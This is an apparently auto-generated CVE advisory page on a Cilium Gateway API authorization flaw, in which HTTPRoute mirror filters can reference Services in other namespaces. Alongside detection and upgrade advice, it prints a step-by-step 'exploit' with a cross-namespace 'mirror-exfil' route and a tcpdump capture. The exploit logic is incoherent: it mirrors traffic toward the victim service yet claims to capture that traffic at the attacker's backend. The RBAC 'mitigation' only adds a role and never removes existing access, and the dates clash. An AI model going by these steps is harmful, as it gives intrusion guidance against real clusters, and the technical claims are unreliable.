Listen to this Post
Cilium is a networking, observability, and security solution with an eBPF-based dataplane. The vulnerability exists in the Gateway API controller of Cilium clusters where Gateway API functionality is enabled. Gateway API is a standardized way to configure traffic routing in cloud native environments, but it is disabled by default in Cilium. When enabled, users with permissions to create or update namespaced HTTPRoute resources can exploit a flaw in the authorization logic. Specifically, the HTTPRoute processing logic fails to properly enforce namespace boundaries when determining which Services can be referenced through traffic mirroring operations. This means an attacker with minimal permissions to manipulate HTTPRoute resources in their own namespace can mirror HTTP traffic to any Service in any namespace. The ReferenceGrant authorization mechanism, which is designed to control cross-namespace service references, is completely bypassed. The technical root cause is insufficient validation within the HTTPRoute processing logic. The system does not properly check whether a ReferenceGrant exists that would permit the cross-namespace reference. This represents a significant privilege escalation vulnerability. An attacker could use this capability to monitor traffic flowing to sensitive services in other namespaces. This could enable data exfiltration, service disruption, or lateral movement within the cluster. The vulnerability aligns with CWE-284 (Improper Access Control) and CWE-862 (Missing Authorization). From an ATT&CK perspective, this could be leveraged for privilege escalation and lateral movement. The flaw violates fundamental security principles of least privilege and namespace isolation. Multi-tenant clusters are particularly at risk. The issue affects Cilium versions prior to 1.17.17, 1.18.11, and 1.19.5. There is no workaround. Users who cannot upgrade should restrict RBAC permissions to create HTTPRoute objects to cluster admins only.
DailyCVE Form:
Platform: Cilium
Version: 1.17.16
Vulnerability: Missing Authorization
Severity: High
date: 2026-07-15
Prediction: 2026-06-16
What Undercode Say:
Analytics:
Check Cilium version cilium version Check if Gateway API is enabled kubectl get crd | grep gateway List all HTTPRoutes across all namespaces kubectl get httproutes -A Inspect a specific HTTPRoute for mirror filters kubectl get httproute <name> -n <namespace> -o yaml Check ReferenceGrants in all namespaces kubectl get referencegrants -A Monitor HTTPRoute creation events kubectl get events --field-selector involvedObject.kind=HTTPRoute
Example vulnerable HTTPRoute with cross-namespace mirror apiVersion: gateway.networking.k8s.io/v1 kind: HTTPRoute metadata: name: malicious-route namespace: attacker-ns spec: parentRefs: - name: my-gateway rules: - filters: - type: RequestMirror requestMirror: backendRef: name: sensitive-service namespace: victim-ns port: 80 backendRefs: - name: my-service port: 80
Detect unusual mirror configurations in HTTPRoutes
kubectl get httproutes -A -o json | jq '.items[] | select(.spec.rules[].filters[]?.type=="RequestMirror") | {name: .metadata.name, namespace: .metadata.namespace, mirror: .spec.rules[].filters[]?.requestMirror.backendRef}'
Exploit: (Educational Purposes!)
Step 1: Create HTTPRoute in attacker namespace apiVersion: gateway.networking.k8s.io/v1 kind: HTTPRoute metadata: name: mirror-exfil namespace: attacker-ns spec: parentRefs: - name: gateway rules: - matches: - path: type: PathPrefix value: / filters: - type: RequestMirror requestMirror: backendRef: name: database-service namespace: production port: 5432 backendRefs: - name: attacker-backend port: 8080
Step 2: Apply the route kubectl apply -f mirror-exfil.yaml Step 3: Verify traffic mirroring is active kubectl get httproute mirror-exfil -n attacker-ns -o yaml | grep -A 5 RequestMirror Step 4: Monitor mirrored traffic at attacker backend (assuming attacker controls the backend service) tcpdump -i any port 5432 -w mirrored-traffic.pcap
Protection: from this CVE
Immediate mitigation: Restrict RBAC permissions
kubectl create clusterrole cilium-httproute-admin \
--verb=get,list,watch,create,update,patch,delete \
--resource=httproutes.gateway.networking.k8s.io
Only bind to cluster admins
kubectl create clusterrolebinding cilium-httproute-admin-binding \
--clusterrole=cilium-httproute-admin \
--user=cluster-admin
Check existing RBAC bindings for HTTPRoute permissions
kubectl get clusterrolebindings -o json | jq '.items[] | select(.roleRef.name | test("httproute"; "i")) | {name: .metadata.name, subjects: .subjects}'
Audit all HTTPRoutes with cross-namespace references
kubectl get httproutes -A -o json | jq '.items[] | select(.spec.rules[].filters[]?.requestMirror.backendRef.namespace != null) | {name: .metadata.name, namespace: .metadata.namespace}'
Upgrade to patched versions
Cilium v1.17.17, v1.18.11, or v1.19.5
Verify upgrade
cilium version
Impact:
In Cilium clusters using Gateway API, users with permissions to create or update namespaced HTTPRoutes can mirror HTTP traffic to any Service in any namespace, bypassing the ReferenceGrant authorization mechanism. This enables unauthorized cross-namespace traffic interception, data exfiltration, and lateral movement within the cluster.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
